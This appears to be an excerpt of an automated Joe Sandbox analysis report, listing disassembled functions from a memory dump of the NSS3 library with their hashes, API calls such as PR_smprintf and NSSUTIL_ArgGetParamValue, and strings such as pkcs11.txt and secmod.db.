Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 83badc31e7bfea3499cf9acfc2d5fd24475e6abbfcedf0081efb8966a035fced
Instruction ID: fd5fb2725970f3b64f72fb3e49130b2bcb1b3a800a21f807962ded75e01cefd6
Opcode Fuzzy Hash: 83badc31e7bfea3499cf9acfc2d5fd24475e6abbfcedf0081efb8966a035fced
Instruction Fuzzy Hash: 95A12C71F0128A9FDF08CFA9D890AEEB7B6FF48314B148129E915A7710D735AD16CB90

Function 6CB1AC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB1AE9F
winUnlock, xrefs: 6CB1AE18

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 9d5c6141df156777075526bfccc43b544bc1d6b3f1d6d3fe129128c2f93a22c2
Instruction ID: ba5e5d1c874c3aed68d5111f32e59d2834d4c8ed4f0f79a70151ef7263fed795
Opcode Fuzzy Hash: 9d5c6141df156777075526bfccc43b544bc1d6b3f1d6d3fe129128c2f93a22c2
Instruction Fuzzy Hash: BA718C716082449FDB04CF28D890AAABBF5FF8A314F14CA2DF94997641D730A986CBC1

Function 6CBDED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CBDEE3D

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 404708b8a357f206ee28b3404f8ca05e32947ce72b105b0d49d2c2c04dcd9def
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 9971B172A017858BEB18CF59C88066EF7F2EB98304F16462DD85A97B91D770F940CB92

Function 6CB05F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CB06013

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: 7de896fea6b7bc7bb051d542329f0ab1aa18edb81c7e55caa5923acd4d96e4e1
Instruction ID: 5ce93ee746764d6e8c112e7b3b2baa92e4ab3d4993e874e699b88cf22cbdaeeb
Opcode Fuzzy Hash: 7de896fea6b7bc7bb051d542329f0ab1aa18edb81c7e55caa5923acd4d96e4e1
Instruction Fuzzy Hash: D2C115B0B446C68BDB04CF19C4907AABFB6EF45318F288128DD95D7B42D734E885C796

Function 6CB14DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CB15125

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: b7e63f48529989cee31d1409ad0f9f84a46d5f6e038ac546fa347a9d32b31ed2
Instruction ID: 7d245fd77587b0496c091c70cd3d50d00d8d8e1088c61bafb5d8d90642d46aa7
Opcode Fuzzy Hash: b7e63f48529989cee31d1409ad0f9f84a46d5f6e038ac546fa347a9d32b31ed2
Instruction Fuzzy Hash: CCE1F871A183408FDB44DF28D48465ABBF1FF8A319F118A2DF89997751E730E985CB82

Function 6CC95E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CC95B90: PR_Lock.NSS3(00010000,?,00000000,?,6CB7DF9B), ref: 6CC95B9E
Part of subcall function 6CC95B90: PR_Unlock.NSS3 ref: 6CC95BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CC95E23,6CB7E154), ref: 6CC95EBF

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: 9c8ca389eeba0cc296c971d0b3eaab98da7e8526e56d7de019f80693d52cebec
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: B7519E72E0021A8FCB18CF59C8815AEF3F2FF98314B19466DD816B7745E734A941CBA0

Function 6CC4DCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c232b9710856bf9dc7f92e4c4b1aa5f2bbf75bce8562680bc943abe4ae855c7
Instruction ID: bddb4dba4395928c9b2dd45ef5000d9e1010902226a666ca0f54232eac67e816
Opcode Fuzzy Hash: 5c232b9710856bf9dc7f92e4c4b1aa5f2bbf75bce8562680bc943abe4ae855c7
Instruction Fuzzy Hash: 55F13971A012058FDB08DF59C490BAABBB2BF89314F29C16CD8199B751EB35ED42CBD1

Function 6CBE1DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 44ec43e9f9c0193c015b457d547d8c7cd0e37a12df5d5f818a5912bfa6fb0033
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: 5FD14B72D046968BDB118F18C8843DA7763AB89B68F2D4329DC641B7C6C37AD905C7D2

Function 6CB78EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e066d75b3ce7ebd9a284dd543d92249b9d3d32655331b9ef1484d327e257e1b7
Instruction ID: 99d594c28858db37b069705362ce553c135abed93b05895eeb1c8db5e184e9da
Opcode Fuzzy Hash: e066d75b3ce7ebd9a284dd543d92249b9d3d32655331b9ef1484d327e257e1b7
Instruction Fuzzy Hash: 86112732A002458FDB24DF15D88475AB7B6FF4231CF04466ADC259FA41C376E982C7E2

Function 6CC50C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2102b81f89a9ee679ba0fb72b700f8f4f385332b7460c3b13555640728c69955
Instruction ID: bab24eb5030dd3f74e1930d287cd6011440ae8da3319761ed8c3388fa17f36b2
Opcode Fuzzy Hash: 2102b81f89a9ee679ba0fb72b700f8f4f385332b7460c3b13555640728c69955
Instruction Fuzzy Hash: 8E11C174B043458FCB00DF19C8C066A7BB2FF86368F14806DD8198B701EB31E826CBA5

Function 6CBC3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 77a18397a67b71ba77c4391720ff0cca5412731fb23fee10829696db4f9172ce
Instruction ID: 25c1c3ccebea511db89367759e86792b75a1fc382cd926b206f12f3fb99f6151
Opcode Fuzzy Hash: 77a18397a67b71ba77c4391720ff0cca5412731fb23fee10829696db4f9172ce
Instruction Fuzzy Hash: 75F05870A04B599BCB14DF68D4915DEB7F4EF09354F10962AEC8AAB301EB30AAC5C7C1

Function 6CC50D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: f59975bfd429f9ab8a9550991e07c74ac25244889e28fdd531105eb5542a9af2
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: 2FE06D3A202454A7DB148E09C450AA97359EF8161DFE488B9CC59DBA01E633F8238785

Function 6CB7CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3cc294bc67aae4a3e91c536c666fc244498131ea429b8a9de8920d39153b698
Instruction ID: 8c024f9298df8eec632f0a17bc8d09b9be0972b8966fff53b9a1afc1291ecd41
Opcode Fuzzy Hash: a3cc294bc67aae4a3e91c536c666fc244498131ea429b8a9de8920d39153b698
Instruction Fuzzy Hash: 53C09238244708CFC744DF48E489DA43BF9FF0E61170400A4EA028B721DB31FD00CA80

Function 6CBE5890 Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 340stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6CBE58A9
PORT_ZAlloc_Util.NSS3(00000001,?,?), ref: 6CBE58BC
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?), ref: 6CBE58CA
strcat.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6CBE58DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?), ref: 6CBE58E7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CBE58F8
PORT_ZAlloc_Util.NSS3(0000002D,?,?,?,?,?,?), ref: 6CBE591B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6CBE593A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6CBE5960
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6CBE597B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE59A0
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE59AF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE59D3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE59E2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE5A0A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE5A19
PR_smprintf.NSS3(0h0x%08lx,00000001), ref: 6CBE5A68
PR_smprintf.NSS3(%s,%s,00000000,00000000), ref: 6CBE5A7D
free.MOZGLUE(00000000), ref: 6CBE5A8F
free.MOZGLUE(00000000), ref: 6CBE5A95
PR_smprintf.NSS3(%s,0l0x%08lx,00000000,00000001), ref: 6CBE5AC6
free.MOZGLUE(00000000), ref: 6CBE5AD3
PR_smprintf.NSS3(0l0x%08lx,00000001), ref: 6CBE5AE4
PR_smprintf.NSS3(%s=%d,trustOrder,?), ref: 6CBE5B15
PR_smprintf.NSS3(%s=%d,cipherOrder,?), ref: 6CBE5B39
free.MOZGLUE(00000000), ref: 6CBE5B5D
free.MOZGLUE(00000000), ref: 6CBE5B81
free.MOZGLUE(?), ref: 6CBE5BA2
PR_smprintf.NSS3(%s %s %s %s %s,?,6CCD0148,?,00000000,00000000), ref: 6CBE5BBF
free.MOZGLUE(?), ref: 6CBE5BD8
free.MOZGLUE(6CCD0148), ref: 6CBE5BEE
free.MOZGLUE(?), ref: 6CBE5C06
free.MOZGLUE(00000000), ref: 6CBE5C1E
free.MOZGLUE(00000000), ref: 6CBE5C34
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBE5C50
free.MOZGLUE(00000000), ref: 6CBE5C61

Strings

%s=%d, xrefs: 6CBE5B10, 6CBE5B34
Flags, xrefs: 6CBE5B8A
%s,0l0x%08lx, xrefs: 6CBE5AC1
0h0x%08lx, xrefs: 6CBE5A63
trustOrder, xrefs: 6CBE5B0B
slotParams, xrefs: 6CBE5B44
ciphers, xrefs: 6CBE5B66
%s %s %s %s %s, xrefs: 6CBE5BBA
cipherOrder, xrefs: 6CBE5B2F
FORTEZZA, xrefs: 6CBE5A56
%s,%s, xrefs: 6CBE5A78
FIPS, xrefs: 6CBE5983

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$strlen$R_smprintf$Alloc_Util$isspacememsetstrcat
String ID: %s %s %s %s %s$%s,%s$%s,0l0x%08lx$%s=%d$0h0x%08lx$FIPS$FORTEZZA$Flags$cipherOrder$ciphers$slotParams$trustOrder
API String ID: 2590695137-1909591022
Opcode ID: 71c40e989baad95270f50d0648aaa7e28f9bc8cd19a03e75354601c4d1ed02b9
Instruction ID: 57801ed4c88addb084a980b80dfc06dbf2771b76ad3c422f3d076b77aaf04ae4
Opcode Fuzzy Hash: 71c40e989baad95270f50d0648aaa7e28f9bc8cd19a03e75354601c4d1ed02b9
Instruction Fuzzy Hash: F0B136B5D0069557DB019FA48C815AF3774EF5AB88F050129EC0A67B00FB30E958C7E7

Function 6CBE5DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CBE5E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CBE5E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CBE5E5C
free.MOZGLUE(00000000), ref: 6CBE5E7E
free.MOZGLUE(00000000), ref: 6CBE5E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CBE5EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CBE5EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CBE5ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CBE5EF0
free.MOZGLUE(00000000), ref: 6CBE5F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CBE5F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CBE5F5B
free.MOZGLUE(00000000), ref: 6CBE5F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CBE5FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CBE5FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CBE5FC4
free.MOZGLUE(00000000), ref: 6CBE5FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBE5FE9
free.MOZGLUE(00000000), ref: 6CBE5FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBE600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBE6027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CBE605A
PR_smprintf.NSS3(6CCBAAF9,00000000), ref: 6CBE606A
free.MOZGLUE(00000000), ref: 6CBE607C
free.MOZGLUE(00000000), ref: 6CBE609A
free.MOZGLUE(00000000), ref: 6CBE60B2
free.MOZGLUE(?), ref: 6CBE60CE

Strings

pkcs11.txt, xrefs: 6CBE5F47, 6CBE5F7C, 6CBE603A, 6CBE6053
secmod=, xrefs: 6CBE5FB1
%s/%s, xrefs: 6CBE6055
readOnly, xrefs: 6CBE5E56
secmod.db, xrefs: 6CBE5EA0
configDir=, xrefs: 6CBE5F9D
forceSecmodChoice, xrefs: 6CBE5F55
noModDB, xrefs: 6CBE5EEA
flags, xrefs: 6CBE5E3A, 6CBE5EC6, 6CBE5F30

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: 858d26c379799b4b9e68a624bcafe11096b9373e8796d7284881d3a6dd4a567a
Instruction ID: cf1fa3da4cbcd333374ca754610f3130fde158f513183e7189c09f79a4ce4153
Opcode Fuzzy Hash: 858d26c379799b4b9e68a624bcafe11096b9373e8796d7284881d3a6dd4a567a
Instruction Fuzzy Hash: 3D91E7F49042955BEF119F649C81BAA3BA8DF0DBC8F080060ED59DBB42E731D949C7A7

Function 6CB71D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6CB71DA3

Part of subcall function 6CC498D0: calloc.MOZGLUE(00000001,00000084,6CB70936,00000001,?,6CB7102C), ref: 6CC498E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6CB71DB2

Part of subcall function 6CB71240: TlsGetValue.KERNEL32(00000040,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71267
Part of subcall function 6CB71240: EnterCriticalSection.KERNEL32(?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB7127C
Part of subcall function 6CB71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CB7116C,NSPR_LOG_MODULES), ref: 6CB71291
